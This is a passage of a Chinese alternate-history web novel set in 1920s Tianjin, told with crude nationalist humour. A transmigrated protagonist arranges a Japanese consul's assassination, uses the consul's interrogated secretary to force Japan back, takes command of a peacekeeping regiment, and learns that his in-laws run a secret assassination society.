我回国之后一定要揭穿他们的阴谋!
我还会在政坛再起!
我要把你们带给我的**通通找回来!
他的心里不停的在勾画着,回国之后该如何揭露这件事。
一直到他签完文件,走出政府大楼的时候,脑子里还在想着这件事情。
“吉田茂!”
突然,吉田茂听见有人在用岛国语喊他。
他下意识的一扭头。
“你这个该死的军国主义的杂种!给我的战友们陪葬吧!”
“砰砰砰砰…!”
第124章 并敌一向,千里杀将!
勃朗宁M1911的七发**,全部倾泻在吉田茂的胸口。
他在临死前呢喃了一句。
“你…你不是**么?”
说完后吉田茂仰面朝天栽倒在地。
周围的百姓都惊呆了。
今天的签约仪式不是秘密,津门政府昨天就发布了公告。
所以在场的人那可海了去了,大多数人都想看看吉田茂这王八蛋长什么样。
却没想到刚露面让人打成了筛子。
吉田茂的秘书惊慌失措,用手堵住他的胸口大喊大叫!
“救人!”
“抓住那个**!”
现场维持秩序的黑皮,都朝着凶手逃跑的方向追去。
但绝大多数都是干动腿、不挪步。
叫唤的声音挺大,一看还在那原地杵呢!
“快!你们上,一定不能放过那个凶手。”
“站住!别跑!”
谁能给你玩命追,鬼知道前边有没有对方同伙?
一个月薪资就那么两个逼钱儿,指着我们给你玩命?
呵!也是想瞎了心了!
但是,也不全都这样的。
真有两个不怕死的往前追,刚追出去没多远。
就听见,“轰!”的一声巨响。
路边木质垃圾箱瞬间炸开了。
这两个倒霉蛋被炸的晕头转向,有不少爆裂的木片扎在他俩身上。
所幸,他俩距离**的中心点不算太近,只是受了点轻伤。
这样一来再也没人敢追了。
现场的百姓见到有**可就乱了套了。
人挤人,人踩人,场面极度的混乱。
厅长常怀英站在台阶上,拿着喇叭指挥道,“快维持秩序,疏散百姓不要混乱!”
吉田茂的秘书脸上带着愤恨的表情,走到常怀英的面前。
“八嘎!你现在要做的是抓住凶手!”
常怀英瞪了他一眼,骂道,“八你妈了个B,**没看到现场有多乱么!给我滚一边去!”
秘书被骂的无言以对,低头用岛国语嘟囔着,“这帮该死JCP真是阴魂不散。”
常怀英的旁边有个卫队军官听懂了他说的话。
张六子的卫队营一个个文化素养都极高,其中不乏有会岛国语的。
军官用岛国语问道,“你在说什么?你认识这个凶手?”
“不…不,我不认识。”
“你在撒谎!”
军官手指着吉田茂的尸体,呵斥道,“他在临死前明明说了你为什么出现在这!”
“还有JCP是什么意思!”
“我…我”,秘书支支吾吾的说不出话。
军官冲着卫兵挥挥手,“给他抓起来,押进去送到白长官那里!”
“是!”
卫兵们不由分说,给秘书按住押进了大楼。
市府大楼里
白敬业和三国领事都愁眉不展。
几人想不通怎么突然发生了这样的事。
原本他们四个是留下来参加记者的采访。
却没想到外边传来了枪响和**声。
一了解事情的经过几人都慌了神。
威廉眉头紧锁,“白!怎么会出现这种事情?你的军队不是进了城么。”
白敬业叹了口气,委屈道,“威廉,你也知道我一直很尊重你们。”
“所以,在签协议之前不会让军队露面,只把维护秩序的任务交给了黑皮。”
“谁能想到!唉~”
威廉听完觉得也不无道理。
反正白敬业这么尊重伟大的牛牛国,让他心里是很舒服的。
可这事发生的太他妈寸了!
“白!你要想清楚,一国的领事遭到刺杀,会给岛国人出兵的理由。”
白敬业点点头,“我知道,我会尽快弄清这件事的缘由。”
他的话音刚落,卫队军官就带着吉田茂的秘书走了进来。
军官给白敬业敬了个军礼,“白长官!我们有所发现。”
白敬业欣喜的问道,“凶手抓到了?”
“没有。”
军官摇了摇头,他指向秘书,“不过我们发现他认识凶手,而且吉田领事也认识凶手。”
他把两人说的话,原原本本的重复了一遍。
这回不光是白敬业愣住了。
威廉和其他两个领事也都愣住了。
约瑟夫惊讶的感叹着,“哦,我的上帝!怎么里面还会有JCP的事。”
这里面的几人谁也没有约瑟夫懂得CP的含金量。
毕竟是正白旗老区出来的人民。
“威廉,我觉得这里面一定有阴谋。”
白敬业的眉毛都拧在了一起,建议道,“我建议由咱们四方一起立刻审讯他。”
“只要将这里边的事弄清楚,我们就不怕岛国人有什么借口。”
威廉点头同意,认同道,“就按你的方法去做,看来这里
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边的事很复杂,极有可能是岛国人的阴谋。”
白敬业扭头冲军官下令,“你马上找朱传武,让他安排人把三位领事送到津门警厅。”
“是,白长官”
等先送走了三国领事。
白敬业向潘雄起拜托着,“雄起兄,这件事瞒不了多久,一旦岛国的大使来了,还望你能多拖延一会儿。”
“我明白,修合,这件事交给我”
随后他看向谭海,“去给张司令发报,把事情汇报上去。”
“是!”
……
当张六子接到白敬业的电报,嘴角闪过一丝不易察觉的微笑。
随后眉头紧锁叹起了气。
“唉~”
郭鬼子不明所以的问道,“怎么了?津门出事了?”
张六子将电报递给了郭鬼子。
他看完以后也是深感棘手。
一国的领事被刺杀,这是天大的事。
尤其还死在津门,外人看来这与津门之前的**是脱不开关系的。
龟子正愁没出兵的理由,这个借口太好了!
“咱们怎么办?”,郭鬼子问了一句。
张六子盯着地图,语气坚决道,“龟子正在往后撤,但我估计用不了多久他们就会得到消息。”
“不管什么原因,咱们都不能放他们过去。”
“只要他们敢强行通过,就他妈往死里打!”
郭鬼子对他的决定深表赞同。
指挥室里的人紧锣密鼓的开始制定起作战计划。
那么刺杀吉田茂的是谁呢?
肯定是咱们国际友人、JCP最热血的战士德田信二!
杀吉田茂肯定是有风险的。
但是白敬业不得不冒这个风险。
吉田茂在津门深耕多年,不把他除了,鬼知道他会不会下一任领事留下后手。
而且白敬业敢肯定,以吉田茂的脑子,一定会看出来,这里边的弯弯绕。
其他人暂时没看出来,是因为通讯不发达,信息差的缘故。
对于吉田茂这个人,白敬业很是了解。
他是龟子战后,岛国腾飞的关键人物,典型的**派。
也是他一手促成了老麦就任岛国太上皇。
对于这样的人物放虎归山,显然会给白敬业未来带来麻烦。
不谋万世者,不足谋一时。
不谋全局者,不足谋一域。
并敌一向,千里杀将!
第125章 审讯
吉田茂被刺杀一事很快就传到了满铁。
原本还不知怎么向本部请罪的山本条太郎,立刻来了精神。
他意识到这是个千载难逢的机会!
“好!吉田君死得好!”
山本说完后就反应过来自己失言了。
满铁的人都用异样的眼光看向他。
“咳”
山本轻咳一声,掩饰着自己的尴尬,他在心里暗骂自己。
“八嘎,你怎么把心里话说出来了。”
但他的脸上依旧掩盖不住喜悦的笑容,他看向菊池武夫客气道。
“菊池君,我们的机会又来了!马上让部队调头,如果奉系敢阻拦,咱们就强行通过。”
菊池武夫摇了摇头,“山本君还是不要冲动。”
“我觉得这里边没那么简单。”
菊池武夫是特务机关的机关长,他对一件事有着非常敏锐的嗅觉。
“如果我们强行通过,一定会引发战争的,这与大本营制定扶持奉系的策略不符。”
“出兵的最佳时机已经过了,别忘了,吉田茂现在的身份是一个**。”
“如果我们大张旗鼓以他的名义出兵,会引起别国对我们的反感,最主要的是,贸然开启战争谁来承担后果!”
菊池武夫的言论,让山本条太郎哑口无言。
“那…那我们就眼睁睁看着不管?”
菊池思索片刻后,笑道,“这也是一个机会,我们摆出要进攻的样子。”
“利用吉田君的死,为我们挽回一些利益吧。”
“这样你也不会遭到大本营的责罚。”
山本条太郎冷静下来后,觉得他说的也有道理。
现在和奉系是蜜月期,双方不是剑拔**张的程度。
真打起来,就这么两万来人,万一这帮军阀握手言和一起打他,也真是扛不住。
这种先例不是没有。
七年前,民国七年,**熊闹起了GM,二十万华夏劳工被困在那。
那时正是直奉联手**老段。
但老段下了命令,要以解救劳工为先。
这三方真就罢兵言和了。
老段派出海陆军借奉系道路出兵营救。
老张还派出了部分兵力在图们江一带作为后援。
君子论迹不论心,这里边老段是有自己算计的。
但起码,这三家对外的情况是真敢打。
奉系有可能干不过你岛国,真打上头,龟子敢保证东南的老孙和西北的老冯不掺和进来?
老冯是喜欢倒戈,但打龟子还真没倒戈过!
大帅府
张老疙瘩也同样接到了消息。
他不明白好好的局面,怎么突然吉田茂就**了。
真**晦气!
杨宇霆在一旁,看到他眉头紧皱神情不悦,试探道。
“大帅,咱们要不给津门那边发个电报,斥责下白修合办事不利。”
“毕竟吉田茂是在他眼皮底下**的,他应该负些责任。”
张老疙瘩翻着眼睛看了看他。
“咦~”
他的表情夸张,笑了几声双手一摊,“不就**个领事嘛,斥责白修合有什么用?”
“也**不是他杀的。”
“人家在前边尽心尽力的给你办事,你再后边斥责?那往后谁他妈还敢跟咱们奉系一条心?”
杨宇霆低头笑道,“大帅英明。”
张老疙瘩琢磨了一会儿,下令道,“我估摸着小龟子不敢强行通过,给小六子发电报,让他打起精神来。”
“另外,再次通电向外界声明,咱们奉系将坚决听从执政府的命令,坚决抵抗到底。”
“是,大帅!”
津门警局的审讯室里。
白修合、威廉还有另外两个领事。
这四个人跟特么阎王爷似的,都眼神不善的盯着秘书山下。
山下紧张的咽了下口水,不知道他们会怎样对待自己。
威廉敲了敲桌子,恐吓道,“山下,你最好把你知道的都说出来。”
“我们是文明人,不喜欢用粗暴的手段。”
“我…我…我真的不知道。”
山下的眼神闪躲,低下头不敢看众人。
威廉扭头看向白敬业,“白,看来他是铁了心,我听说华夏有种刑罚,叫满清十大酷刑!”
“让山下秘书好好尝试尝试。”
约瑟夫闻言眼睛闪亮,似乎对这个很感兴趣。
白敬业笑着摇了摇头,“威廉,审讯不一定要动手,而且他毕竟是岛国领事
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府的工作人员。”
“我们还要靠他来解决后续。”
说着白敬业站了起来,走到山下的面前。
“山下君,我知道你在犹豫什么,你害怕说出岛国的秘密,自己的小命会不保,对么?”
白敬业站到他的身后,拍拍他的肩膀,叹息道,“人啊,都想活着这很正常,可你想过没有,就算你回到岛国,他们会让你活下去么?”
“你们的领事吉田茂,都已经被你们的国家当成了替罪羊。”
“他还死在你的眼前,而你还活着,你想想回去后他们会怎么对待你?”
“我听说你是吉田茂的家臣。”
白敬业凑近山下的耳边,“你们岛国好像有个习俗。”
“家臣没能保护好家主,就要给家主陪葬。”
山下听到这里,眼神露出了惊恐。
“你真想给他陪葬么?”
“不!我不想!”
白敬业微微一笑,“生命是世界上最可贵的宝物,没了就什么都没了,你想活下去么?我可以帮你!”
“你怎么帮我?”,山下的眼神里透露出求生的渴望。
山下自己清楚,不管他说不说,等待他的都是死亡。
如今有了生的希望自然想抓住。
白敬业伸手让他看向威廉,“威廉先生你认识吧。我想你要是把事情完整的说出来。”
“咱们的威廉领事,很愿意给你提供ZZ保护。”
威廉点点头,“当然,你愿意说,我可以让你到伦敦享受自由的生活。”
山下犹豫了一会,终于叹了口气,“我说。”
“**”
白敬业鼓掌道,“先生们,让我们恭喜山下君做出正确选择。”
其他三人都跟着鼓掌,只有约瑟夫有些意犹未尽。
白敬业从桌上拿起一张照片,“这张照片是现场记者拍下来的,他是谁?”
“德田信二,JCP创始人的亲弟弟。”
“他为什么要杀吉田茂?”
山下扶了扶眼镜,“其实吉田领事是冤枉的……”
山下将满铁派浪人袭击JCP以至于后来一系列的事都讲述一遍。
约瑟夫听完感叹道,“哦买噶的!你们岛国人真残忍”
第126章 捜査领事馆
听完了以往的经过。
这几人你看看我、我瞅瞅你。
威廉耸了耸肩,“真是一场闹剧!只能说吉田领事倒霉了一些。”
吉田茂怨么?
对于JCP的事,他可能有点怨。
他前期根本不知道满铁要**JCP。
但谁让帮手是他找的呢。
“山下君,满铁发给吉田茂的电报,还保留着么?”
山下点了点头,“都在吉田领事办公室的保险箱里存着。”
白敬业眼前一亮,看向威廉,“威廉,我觉得我们应该到吉田领事的办公室好好搜一搜,兴许还能有什么意外收获。”
威廉有些犹豫,但心里还有些意动。
捜查一国的领事馆是大事,领事馆相当于国家领土。
神圣不可侵犯。
贸然捜査等同于开战。
“白,这么做会不会太冒险了?”
白敬业呵呵一笑,“威廉你忘了么?上午刚敲定的协议,只要四国全票通过就可以捜查津门的任意角落。”
“其中可不包括领事馆除外哦,吉田领事也是签过字的。”
威廉哈哈的笑了起来,“白,你说的对,我怎么把这事忘了。”
他看了看约瑟夫和弗兰克,“先生们,下面我们举手表决,要不要捜查岛国领事馆?”
四票,全票通过。
“砰!砰!砰!”
一帮士兵站在吉田茂办公室的保险箱前。
手中锤子、撬棍齐上。
在一声声巨响中。
保险箱终于被白敬业等人给干开了。
里面的文件和电报散落了一地。
有懂日文的军官和秘书,给众人念着文件上的内容。
绝大部分都是吉田茂对津门的分析,如何扩大岛国在津门的利益。
包括如何通过金钱、**控制津门的官员和帮派人士。
还有如何在不引起摩擦的情况下,压缩其他国家在津门的利益。
为什么吉田茂要留这些文件呢?
这显然是吉田茂留给下一任领事的资料。
他也想不到其他国家能进他的领事馆,干开他的保险箱啊!
白敬业拿着一份文件,看向众人,“各位领事,我想有了这些文件足以让岛国的大使闭嘴了!”
威廉看着文件愤恨道,“我们不仅要让他闭嘴!”
“我们还要缩减津门日租界的在华权益!他们这是赤裸裸的在侵略!”
“这帮混蛋!”
其实这些东西哪个领事馆没有,谁让他吉田茂倒霉呢。
众人气势汹汹的带着文件前往津门市府大楼。
等他们到了潘雄起办公室的门口,正听见里面的咆哮声。
“潘市长,你们必须给大岛帝国交代,吉田领事为什么会被刺杀!”
“否则我们大岛帝国会用军队来保护我们侨民的人身安全!”
“法克鱿!”
还没等白敬业说话呢,老威廉就在门口骂了出来。
岛国大使芳泽谦被骂的一愣,扭回头看去。
三国领事正怒气冲冲的看着他。
“威廉领事您…”
不等他说完,威廉就开喷起来,“法克!你马上让你们该死的军队滚回关东州!”
“不然我们会联手让岛国付出代价!”
“还有你最好给我解释清楚,这些该死的文件是怎么回事!”
威廉手一扬,将文件抽在芳泽谦的身上。
“哗啦!”
文件散的满地都是,芳泽谦捡起后越看越心惊。
心想,这都是**,怎么落在了他们的手里。
白敬业冷笑一声,将口供递了过去,“自己看看吧,你们的吉田茂是**的!”
芳泽谦接过后,好悬没气晕了过去。
他脸上带着一丝苦涩的笑容,“各位…各位领事,我想这可能是一场误会。”
“误会?法克!去**误会!”
威廉身上没有了一丝绅士风度,对着芳泽谦破口大骂。
按照上边吉田茂的计划,他如果真的全盘控制津门。
牛牛在华利益就等于空壳。
他指着芳泽谦的鼻子,恶狠狠的说道,“你最好给我们一个完美的解释!”
“不然,我会向议会申请,调集陆战队的士兵们,帮助华夏的军队彻底消灭你们!”
约瑟夫在一旁点着头,“先生,我们不是在威胁你,你们实在是太过于贪婪!”
这一手借刀**,让白敬业玩的是明明白白。
他为什么那么肯定领事馆里能搜出来这些文件呢。
其实白敬业也不确定。
不过他看
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过谍战片啊,影视剧里都这么演的。
反正目的是为了找出来满铁的电报,有枣没枣打一杆子。
没想到意外收获这么大。
经过几人商议好之后。
四国联合**庭又再一次开庭了。
这次的主角从吉田茂换成了芳泽谦。
他憋憋屈屈的坐在凳子上,不停的擦着头上的冷汗。
威廉把桌子敲得‘砰砰’直响,“芳泽大使,请解释这究竟是怎么一回事!”
“这…是,这都是吉田茂自作主张,和大岛帝国没关系。”
芳泽谦满面赔笑,他也说不出个一二三来。
约瑟夫摇了摇头,“芳泽大使你不诚实,针对于岛国的做法,我们会联合向你们的本部控诉!”
“最重要的是!你们那些该死的军队马上退回去!”
“嗨!”
芳泽谦低头道,“各位领事请息怒,帝国一定会拿出让我们大家满意的方案。”
威廉摆了摆手,拿出一张纸递了上去,“这是我们共同研究过的,你们必须按照上边执行。”
芳泽谦接过一看手都在颤抖。
上面写了好多条。
最主要的是取消日租界的独立司法权。
日租界的侨民犯法由津门司法系统管理。
并且禁止岛国浪人进入津门。
每一名来津的岛国居民都需要向津门市政府严格报备。
岛国人来津门做生意需要缴纳高额保证金。
种种罗列了十多条,反正大体意思,是让日租界形同虚设。
“这不可能!帝国绝不会答应这种条件!”
“闭嘴!”
威廉恶狠狠的威胁道,“这不是在跟你商量!”
“我们会以官方形式,向你们国家发送正式文件,如果你们不同意那就开战吧!”
芳泽谦的气势一下子就萎靡了。
他身为一个大使对局势怎么可能不精通。
他知道,即使开战英、法这些国家也不会派大部队参战。
但是架不住他们这些国家一起给华夏当输血罐啊!
大量的**和金钱援助,四打一,就凭关东州那两万多人?
笑话!
“各位领事,我会通知满铁那边让他们尽快撤军的,其他的事咱们过后再商议如何?”
第127章 落幕
威廉知道这些事情,他一个大使也决定不了。
于是看了看墙上的时钟,指向下午七点二十分。
“在今晚十二点之前,如果你们的军队不撤离山海关,我将视为你向我们进行开战!”
“嗨!”
整场谈话白敬业就像个狗腿子似的,在一旁给威廉和约瑟夫摇旗呐喊。
谁让人家胳膊粗、力量大呢。
国力强说话就硬气。
等芳泽谦走后,气氛也随之轻松起来。
都已经晚上了众人还没吃饭。
威廉回味道,“白,那天在少帅府的那道鱼片味道不错。”
“我觉得我们应该再好好的尝尝更多的华夏美食。”
“威廉,我想我们到少帅府的时候,厨师就已经准备好食材等候。”
牛牛大哥累了一天想吃点鱼片怎么了!
虽然现在是饭口。
但你登瀛楼的主厨也得给我马上到位!
你就算炒着菜也得给我把锅放下。
耽误白大善人的事,饭庄还想不想在津门开下去?
“山下这个**,他背叛了帝国!”
“一定要处死他,八嘎呀路!”
山本条太郎像疯了一样,在办公室里嘶吼。
桌子上的摆件被他用**砍的七零八落。
驻北平大使芳泽谦已经将消息传到了满铁,勒令他们马上退兵。
而且芳泽谦将自己受到的**,一股脑的全发泄到了满铁的身上。
还准备向天蝗参上一本,这让山本条太郎大为恼火。
菊池武夫坐在一旁冷眼看着他发疯。
“山本君,你还是冷静一下,先让关东军撤回来吧,我们已经失去了所有筹码。”
“目前最该做的就是止损!想办法怎么办才能让你不受天蝗的责罚。”
“当啷~”
山本手里的**掉落在地,坐在那里失了神。
他清楚这件事情的连锁反应实在太恶劣了。
吉田茂的死非但没替岛国挽回利益,还成了别国攻击他们的理由。
**JCP这种事在他们自己国内做做没人管,可是在别国**,还即将被爆出来这就不行了。
本身这次事件,**熊就没参与其中。
你**CP国际的人?
人家能看着不管?
这不等于把刀子递到人家手里,求你攮我!
山本也害怕自己像吉田茂似的变成替罪羊。
他恳求道,“菊池君,求你帮帮我!”
菊池武夫点点头,“我会的山本君,适当的让出一些津门的利益吧。”
“我们现在扩张的太快,归根结底还是青岛方面我们侵占的太多,引起了各国的不满。”
他说着笑了笑,“这次的事也不见得是坏事,进驻津门的军队毕竟是奉系。”
“只要我们和奉系加大联系,早晚我们会重进津门的。”
“我们目前的任务是缓和奉系,不要把摩擦再扩大了,最重要的是不能让他们倒向欧美人那边!”
菊池站起身来向外走去,“我会在向上级汇报时,将事件都推到吉田君身上。”
“菊池君你干什么去?”
“我去安抚张司令,让他帮我们把这件事压下去,华夏人有句老话,叫礼多人不怪。”
山本条太郎感动的热泪盈眶,起身九十度鞠躬。
“谢谢你菊池君!”
山海关指挥部
“哈哈哈!”
张六子激动的大笑,“茂宸这叫什么!”
“这叫搬起石头砸自己的脚!哈哈哈,该!这帮小龟子!”
郭鬼子得知龟子退兵的缘由也松了口气,笑道,“没想到吉田茂竟然死在自己人手里。”
“这下我看龟子在津门没个三五年根本恢复不了元气。”
郭鬼子见左右没人,压低了声音,“吉田茂会死你是不是提前知道?是修合安排的?”
“那怎么可能!”
张六子端起茶杯灌了口水,“修合怎么敢做这种事。”
郭鬼子见他不承认也没深问,他总感觉吉田茂的死和那封密电有脱不开的关系。
“行了,老郭你在前线盯着吧。”
“让咱们的人往前压,送他们一程!”
张六子整理整理衣服,“我得连夜赶回去,明天一早还得参加修合的就任仪式。”
就这样,津门事件基本落下帷幕。
整个事件收益最大的毫无疑问是白敬业和奉系。
他控制住了津门的武行,将手**码头,而且还获得了兵权。
虽然只有一个团的编制,但是只要这个团的种子在,帮助他训练护厂队的人。
那他手里还缺兵么?
白敬业
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还准备往这个团里掺上大量的沙子。
除了朱传武带来的一个营,其他两个营全换上武馆和**的人。
张六子能同意么?
他还真得同意,因为这个团是没有作战任务的。
你摆上一个主力团,显然太亏了,放上一个三流团。
还不如让津门本地的人进来,因为这个团的主要任务是维护津门的稳定。
当然这些话肯定不会由白敬业来说。
谁说?威廉啊!
大牛牛帝国的老爷提出点小小的条件,张六子不考虑么?
而且这么做也是符合牛牛的利益,真放上奉系主力团,就该牛牛睡不着觉了。
三方牵制下,这个团怎么运作全得听白大善人的。
最大的收益还是彻底压缩了岛国在津门的势力。
白大善人购买的那些设备已经从鹰酱那里起航了。
龟子暂时威胁不到津门,他的药厂也就安全。
接下来就是依靠着青霉素紧密笼络住这几个霸主级国家。
把盘子做的越大越安全。
即使有一天龟子想通过奉系插手药厂。
你得掂量掂量这几个国家你能不能惹得起。
选择津门建药厂还有另一层考虑,万一东北真的守不住,随时可以脚底下抹油,往外溜!
但这只是最坏的打算,还是那句话,白大善人来这一回。
不是为了**当**奴!
让你小龟子能那么轻松叩关的!
翌日一早
朱传武带着士兵,在城外换上了墨绿色的新军装。
他按照白大善人的要求,从这一个营里挑出一百多个样貌、身材俱佳组成了方队。
这身军装穿在身上该说不说的真精神。
小胡子的军装是淡灰色配银边装饰。
白敬业设计这套是墨绿色配金边,显得庄重又威严,而且进攻性没那么强。
朱传武整个人神采奕奕,就像郭鬼子说的那样。
成为第一支驻守津门的华夏军队,这是身为军人的荣耀!
“都给我打起精神来!谁要是蔫了吧唧的,看我回去怎么收拾你们!”
时间到了七点四十五分,津门城的大门准时打开。
朱传武挺直腰板,高声道。
“开步走!预备唱!”
“华夏民族五族共和好!”
第128章 富贵不还乡如同锦衣夜行
“华夏民族五族共和好!”
“方知今日练兵最为高!”
“大帅练兵人人都知晓,若不当兵国家不能保!”
士兵们唱着奉系军歌,迈步走进了津门城。
这首歌最早是老袁的小站练兵歌,后来张老疙瘩让手下改了部分词,作为奉系的军歌。
还有一首有关军纪的歌曲也是借用了这首歌的旋律。
那首歌成为了那支部队战无不胜的法宝。
选择这首,也是因为津门的老少爷们都很熟悉这个旋律。
津门的男女老少都汇聚在道路两旁,欢迎着部队进城。
北洋军队千般不好,也是华夏人自己的军队。
二十多年了,津门人终于看到了属于自己国家的部队。
如此热闹的场面自然也少不了津门的二哥。
“二哥,这尼玛今后咱们可扬巴了,咱们自己的部队进城了,听嗦他们叫什么尼玛维和团,专门尼玛维护津门的和平。”
二哥扬起头,踮脚看着,“呵呵!可尼玛不是嘛,要我说还得是人家白团长有两下子。”
”小龟子都不是他的对手!“
部队唱着军歌一路走到了市府大楼的门前。
“立定!”
大楼门前搭起了彩棚,挂着大大地条幅。
【津门维和部队入驻仪式】
白敬业肩膀上扛着三颗星,腰间还挎着一把将级的**。
按理说他的部队只有一个团是不够格挎**的。
但谁让这支部队的行政级别高呢,四国联合部队,就算直接给白敬业上将星也没人能说出什么。
可白大善人终究还是要点逼脸。
自己一天兵没带过,直接变成将军,说出来都让人笑话。
所以只给自己小小的提了一颗星。
现在来的各方势力真不少,除了各国公使,老段也派了自己的秘书来参加。
还有在北平的各方代表,直系的、西北的、广州的,山西方面完人长官也派了人。
白敬业大步流星走到主席台,敬了个军礼。
“报告司令,联合维和团已奉命进驻津门,请您指示!”
张六子回礼道,“仪式开始”
“是!”
白敬业来到老式话筒前,高声道,“下面入驻仪式开始,第一项升旗,请全体起立!”
民国国歌音乐响起,代表着民国的五色旗在市府大楼前升起。
“各位津门的老少爷们,大家可能有些疑惑,你白敬业不是个文人么?怎么还穿起军装了?”
白敬业指着身上的军装,“这还要感谢咱们张司令和威廉领事他们,能给我白某这个机会。”
“大家都知道前段时间津门发生的事,给我们津门市民造成了很大的伤害。”
白敬业高举手臂,“我白敬业在此发誓,只要我的团还在津门一天这样的事就不会再发生。”
“津门的事就应该咱们津门自己人说了算!无论哪个国家的人在津门都要遵守津门的法律!”
“让我们一起携手,共同为了津门的和谐、安稳而努力!”
围观的百姓都热烈鼓掌。
他们不懂啥叫维和,但是清楚津门出事的时候白敬业是第一个站出来的。
仪式进行了三个多小时,各方势力都要上台讲话。
等到仪式和宴会结束后,已经是下午四点多。
白敬业带着朱传武一起回了阔别已久的宫府。
他还有些事情要交代给朱传武。
因为最近几天忙活完,白敬业就准备启程回北平。
一是药厂要进行筹备,他得上学校和家里招募人手。
第二是因为老太太要过七十大寿了。
这可是大事!
白敬业现在可不是刚穿过来那阵人憎狗嫌。
白云现在大小也是个名人!
他准备好好给老太太操办一番。
富贵不还乡如同锦衣夜行!
宫府的人看到白敬业的车子临近。
管家老姜喊了一嗓子,“姑爷回来了!”
宫府大开中门,好家伙,弟子站了两排迎接白敬业。
白敬业被这阵势弄得还有些不适应,他打趣道,“老姜至于么,都是一家人整这么大阵势干什么,散了散了!”
“弄得跟总统访问似的。”
老姜嘿嘿一笑,“姑爷,这都是老爷安排的
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,您现在可是津门头号人物,可不能怠慢。”
“这要是在前清,您最少也得是二品的总兵!“
“哈哈哈”
白敬业大笑着拍拍老姜的肩膀,“世故了啊!行啦,散了,都一家人随意点。”
“哎!听姑爷的,散了散了!”
“姑爷,老爷在正房等你呢,说是有事要跟您商量。”
白敬业点点头,他知道宫宝森是准备跟他交底了。
他这几天虽然没回来,但是街面上的事也听说了。
三家武馆满门全灭!
鸡犬不留!
这不是形容词,是字面意思,连他妈看家护院的狗都给宰了,鸡窝里的鸡蛋都碎了!
白敬业得到消息的时候脖子一凉,心想,自己这老丈杆子平时没看出来,下手**够狠的。
“这是我的副团长朱传武,你好生安排。”
“哎”
老姜答应一声,引着朱传武往客房走,“朱团长请跟我来。”
来到宫宝森所住的正院,一路上白敬业感觉宫府有些不一样了。
多了好多生面孔。
虽然他们对白敬业脸上都带着笑容,但是能看出来一个个的杀气十足。
宫宝森见到白敬业进来,满面是笑站了起来。
“哈哈哈,贤婿如今可大不相同啦,这军装一穿着实的威风。”
“嗨,岳父您这是折我的寿,怎么还能让您起身呢,快坐快坐。”
两人落座,仆人给上了茶后。
宫宝森一挥手,“你们都下去吧!”
房间里只剩下他们两人。
白敬业这才问道,“岳父,那几家武馆都是您。”
他做了个抹脖子的手势。
宫宝森微微一笑,“这都是小事,今天主要是让你见个人。”
他向里间屋招呼了一声,”师兄!出来吧。“
里间屋走出来一个人,年纪比宫宝森大了一些。
浑身上下阴森森的。
白敬业看到这张脸,差点没喷出来。
妈呀!大忽悠!
这张脸和现代东北王本山大叔是一模一样。
“这是我的师兄丁连山,你要跟着叫师伯。”
第129章 武士暗杀团
“z啊,丁师伯您好。”
看到这张猪腰子脸,白敬业大体能确定这是个大杂烩的世界。
之前他还不敢确定,因为宫二长得和尼玛一代宗师一点不一样。
而且世界线的走向也不一样。
估计是自己的到来改变了一些事。
丁连山笑着点了点头,“不错,是个大才!”
不知道为什么明明丁连山挺严肃的,但是他一说话白敬业就想笑。
白敬业规规矩矩的给丁连山倒了杯茶,“师伯请。”
丁连山端起茶杯,眼神不经意间略过白敬业胸前。
看见他的胸前别了一支钢笔。
他又放下茶杯,问道,“这支钢笔能让我看看么?”
白敬业点头将钢笔递给了丁连山。
这支钢笔正是大先生送给他那支,白敬业时刻带在身上。
丁连山抚摸着钢笔,脸上有些许缅怀之情。
“这支钢笔是大先生送你的吧?”
白敬业略有惊讶,“师伯,您认识大先生。”
“何止认识”
丁连山轻笑道,“不过这支笔的原主人不是他,他和你说过是谁么?”
白敬业摇了摇头。
“是鉴湖女侠秋竞雄……”
丁连山的思绪回到了光绪三十一年(1905)九月某一天的上午。
1905年,同盟会刚刚成立。
同年九月满清为了顺应时代,效仿国外君主立宪,派出五大臣出洋考察。
时任同盟会北方支部长吴樾为了阻止此事。
邀请丁连山与对满清失去希望的宫宝森一同刺杀五大臣。
临行前丁连山问了宫宝森一句话。
是**容易还是延续一个门派容易。
宫宝森回道,当然是**容易。
丁连山听到这个回答就将师弟留了下来。
**容易那就我做,你留下延续门派。
结果吴樾在奉天站引爆了身上的**,五大臣**三个、轻伤两个。
丁连山见后续无法下手就此逃亡到了佛山,加入到同盟会中。
从此隐姓埋名,帮着同盟会训练**,名为武士暗杀团。
鉴湖女侠是这个团体第一任首领。
1907年七月,鉴湖女侠策划浙、皖两地起义,但不幸失败英勇就义。
丁连山就接棒成为了第二任首领。
经他手里策划加刺杀过的地方官员不下两百人。
民国元年,同盟会的理想是达成了,把满清的桌子掀翻了。
可是老袁支棱起来了,一脚把同盟会踢开。
大先生**海外,其他同盟会成员也都心灰意冷散落四方。
这么一来,暗杀团就变得极为尴尬。
本身他们就是干脏活的,变得没人管、没人问。
干活的时候他们是一把锋利的刀。
但老袁怎么会容忍这样一把悬在头上的刀存在。
暗杀团的成员有不少都被逮捕,丁连山只能带着剩余人亡命天涯。
不久后他找到了大师兄李存义商议此事。
就此中华武士会成立,名为武术团体,实为收纳这些无主的人。
再后来李存义去世,宫宝森从张老疙瘩那辞职,接替了李存义的会长之位。
所以,中华武士会只是个表面。
他的里子是前同盟会的暗杀团。
白敬业听完咽了下口水,心道,“尼玛!为啥民国暗杀风气流行,原来根子在这儿呢。”
整个民国从元年到抗战结束,暗杀风气一直流行。
包括日记家手里的军统。
那是彻底把暗杀发扬光大,情报搞得一般,光特么暗杀了。
感情是从同盟会这继承的。
白敬业又想了想,同盟会也确实这样,像蔡校长那种文人,都能带学生安**。
丁连山看了一眼宫宝森,笑道,“宝森跟我说想让你未来接手中华武士会。”
“刚开始我还有些犹豫,不过看了你在海河边的所作所为,你是块材料!”
他意味深长的说道,“这人啊,关系再好,别人的力量终究是外力,只有自己手中的,才是属于自己的。”
白敬业知道他指的是什么,点了点头,“师伯,这个道理我懂。”
咱说,这么大个暗杀团,白大善人连句客气都没有,就舔个逼脸接受了?
不谦让一下么?
客气嘛啊!都尼玛一家人。
未来的儿子都姓宫了,他只是帮未来的好大儿代管一下。
不过白敬业还有些疑惑,“师伯、岳父,韩家武馆的邹榕为什么清楚武士会的底细?”
宫宝森呵呵一笑,“韩馆主早年就是暗杀团的成员。”
“那时他找到我想在津门立馆
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,我就答应了他。”
“但邹榕知道的也不详细,可能是韩馆主酒后透露了一些。”
“原来是这样。”,白敬业了然的点点头。
他又看向丁连山,脸上挂着谄媚的笑容,“那个师伯,我不是收养了些孤儿么?”
